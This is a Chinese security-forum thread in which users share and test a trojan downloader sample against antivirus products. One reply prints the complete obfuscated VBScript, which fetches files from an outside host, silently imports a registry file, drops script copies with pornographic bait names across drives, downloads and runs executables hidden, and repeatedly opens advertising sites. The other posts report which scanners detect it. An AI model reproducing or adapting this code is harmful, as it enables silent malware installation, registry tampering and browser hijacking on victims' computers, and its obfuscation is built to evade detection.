弹H页 下载木马

zst470396853

哈哈  高质量的东西  目前还没有一家 可以杀~~~~~

zst470396853

没人试了??????????????

x_3max

杀软安静时间太久了，来病毒区让杀软响一下——证明它还是在干活的

avast killed

柳如烟

金山没报，avast拦截了

jason_jiang

on error resume next
a84uys96="http://p8.44360.com"
Set b43z4w24= WScript.CreateObject("WScr"&"ipt.Sh"&"ell")
Set m1548l718 = Wscript.CreateObject("Script"&"ing.FileSystemO"&"bject")
c25bg98q=b43z4w24.ExpandEnvironmentStrings("%temp%")
wxx4814g = left(c25bg98q,3)
m28zctdx4 = b43z4w24.SpecialFolders("AppData") & "\Microsoft\Intern"&"et Explorer\Quic"&"k Launch"            '当前用户快速启动
w28s8z206="c:\Docume~1\All Us"&"ers\「开始」菜单"
b43z4w24.Run("htt"&"p://w"&"ww.30909"&".cn"&"/22/hao2.html")
b43z4w24.run "C:\Progra~1\Intern~1\IEXPLORE.EXE http://ww"&"w.80505"&".com/flash/main.htm",0

Sub c1b851pbo(t1hgh34fm)
Set e7l07271= CreateObject("scrip"&"ting.Fi"&"leSys"&"temObject")
If Not e7l07271.FolderExists(t1hgh34fm) Then
  e7l07271.CreateFolder t1hgh34fm
End If
Set e7l07271 = Nothing
end sub

Call c1b851pbo(wxx4814g&"Prog"&"ra~1\Win"&"RAR\ico")
ico1=wxx4814g&"Prog"&"ra~1\WinR"&"AR\ico\"

Sub gid6k472(q1rnrqggj,w1k2o3366)
Set j1eqse938 = CreateObject("M"&"icros"&"oft.XM"&"L"&"HT"&"TP")
Set k1842u11j = CreateObject("AD"&"O"&"DB.S"&"t"&"r"&"e"&"a"&"m")
with j1eqse938
.Open "GET",q1rnrqggj,0
.Send()
end with
b=j1eqse938.responseBody
with k1842u11j
.type = eval("1")
.Mode = eval("3")
.open()
.write eval("j1eqse938.r"&"es"&"po"&"n"&"se"&"Bo"&"d"&"y")
.SaveToFile w1k2o3366,eval ("2")
end with
k1842u11j.close
end sub

Sub d1lrs43w5(e1001an41,f1ci71p3m)
Set r1lm6kw7q = CreateObject("Script"&"ing.FileSyste"&"mObject")
If r1lm6kw7q.FileExists(e1001an41) Then                        
       r1lm6kw7q.deletefile(e1001an41)
End If
    Set g1uo4ws48=r1lm6kw7q.CreateTextFile(e1001an41,False)
    g1uo4ws48.WriteLine(f1ci71p3m)
    g1uo4ws48.WriteLine("de"&"l %"&"0 ")
    g1uo4ws48.Close      
Set r1lm6kw7q  = Nothing
end sub

call gid6k472(a84uys96&"/bobo/1.ico",ico1&"1.ico")
call gid6k472(a84uys96&"/bobo/2.ico",ico1&"2.ico")
call gid6k472(a84uys96&"/bobo/3.ico",ico1&"3.ico")
call gid6k472(a84uys96&"/bobo/4.ico",ico1&"4.ico")
call gid6k472(a84uys96&"/bobo/5.ico",ico1&"5.ico")
call gid6k472(a84uys96&"/bobo/6.ico",ico1&"6.ico")
call gid6k472(a84uys96&"/bobo/7.ico",ico1&"7.ico")
call gid6k472(a84uys96&"/bobo/8.ico",ico1&"8.ico")

call gid6k472(a84uys96&"/bobo/ie.txt",c25bg98q&"\ie.reg")
b43z4w24.Run "regedit /s "&c25bg98q&"\ie.reg"

call gid6k472(a84uys96&"/bobo/tt.html",c25bg98q&"\xunlei.vbs")
b43z4w24.Run "cmd.exe /c start "&c25bg98q&"\xunlei.vbs",0,True


call gid6k472(a84uys96&"/bobo/other.html","c:\A片网址.vbe")
call gid6k472(a84uys96&"/bobo/other.html","d:\最新A片网址.vbe")
call gid6k472(a84uys96&"/bobo/other.html","e:\最新色电影网址.vbe")
call gid6k472(a84uys96&"/bobo/other.html","F:\三级电影网址.vbe")

call gid6k472(a84uys96&"/bobo/luowo1.exe",c25bg98q&"\luowo1.exe")
b43z4w24.Run "cmd.exe /c start "&c25bg98q&"\luowo1.exe",0,True

call gid6k472(a84uys96&"/bobo/xunlei2010.exe",c25bg98q&"\xunlei2010.exe")
b43z4w24.Run "cmd.exe /c start "&c25bg98q&"\xunlei2010.exe",0,True


WScript.Sleep 60000
b43z4w24.Run "http://www.luowo.com/zhuan"
WScript.Sleep 60000
b43z4w24.Run "http://www.zxdy365.com/index1.html"
WScript.Sleep 60000
b43z4w24.Run "http://www.30909.cn/index1.html"
WScript.Sleep 60000
b43z4w24.Run "http://www.80505.com/flash/main.htm"
WScript.Sleep 60000
b43z4w24.Run "http://www.zxdy365.com/33/gg.htm"
WScript.Sleep 60000
b43z4w24.Run "http://www.30909.cn/muhun.html"
WScript.Sleep 60000
b43z4w24.Run "http://www.hao119.net/?tan"
WScript.Sleep 60000
b43z4w24.Run "http://www.19870.com/index1.html"
WScript.Sleep 60000
b43z4w24.Run "http://www.30909.cn/11/a.html"
WScript.Sleep 60000
b43z4w24.Run "http://www.30909.cn/muhun.html"
WScript.Sleep 60000
b43z4w24.Run "http://www.zxdy365.com/33/soua.htm"
WScript.Sleep 60000
b43z4w24.Run "http://www.30909.cn/11/a.html"
WScript.Sleep 60000
b43z4w24.Run "http://www.30909.cn/muhun.html"

WScript.Sleep 1000000
b43z4w24.Run "http://www.rt365.info/index1.html"

ghfujianbin

点击运行过OA
微点主防也不报

恋亿晓

avast!
VBS:Obfuscated-gen [Trj] (0)

corex

回复 17楼 恋亿晓 的帖子

avast free版报

lixiwu1984

ess  金山 没反应

zst470396853

卡巴 已经能查杀了~~~~~~~~~~~~